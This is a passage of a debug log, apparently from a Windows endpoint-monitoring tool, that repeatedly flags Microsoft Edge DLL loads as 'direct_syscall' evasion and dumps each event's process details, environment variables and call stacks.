(x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe672c453f C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13494131 + Pid: 3940 + Tid: 5712 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:12.4832328 +0100 CET + Params: base_address➜ 7ffeaf200000, checksum➜ 710378, default_address➜ 7ffeaf200000, file_path➜ C:\Windows\System32\MicrosoftAccountWAMExtension.dll, image_size➜ 692224, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a844fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9bed25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9a3923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a38af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a3966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffec9a3a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffea52656d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522e3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13509622 + Pid: 3940 + Tid: 5712 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:14.6572653 +0100 CET + Params: base_address➜ 7ffea5620000, checksum➜ 785828, default_address➜ 7ffea5620000, file_path➜ C:\Windows\System32\Windows.Networking.Connectivity.dll, image_size➜ 765952, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a844fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9bed25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9a387d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a372ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a36e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffeaf2241af C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf222081 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf208c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf25815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf237367 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf21a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf218ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf205619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffea522e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13509783 + Pid: 3940 + Tid: 5712 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:14.6699143 +0100 CET + Params: base_address➜ 7ffebb700000, checksum➜ 646234, default_address➜ 7ffebb700000, file_path➜ C:\Windows\System32\wlanapi.dll, image_size➜ 581632, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca8ad7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffeca8ab94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffea5652232 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetClassObject|0x7ffea5661034 C:\Windows\System32\Windows.Networking.Connectivity.dll!SetHostNameMediaStreamingMode|0x7ffea562a6a4 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffea565dd7a C:\Windows\System32\Windows.Networking.Connectivity.dll!SetHostNameMediaStreamingMode|0x7ffea5629f3a C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffea562abdf C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffea562a8c3 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffeaf22424f C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf222081 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf208c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf25815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf237367 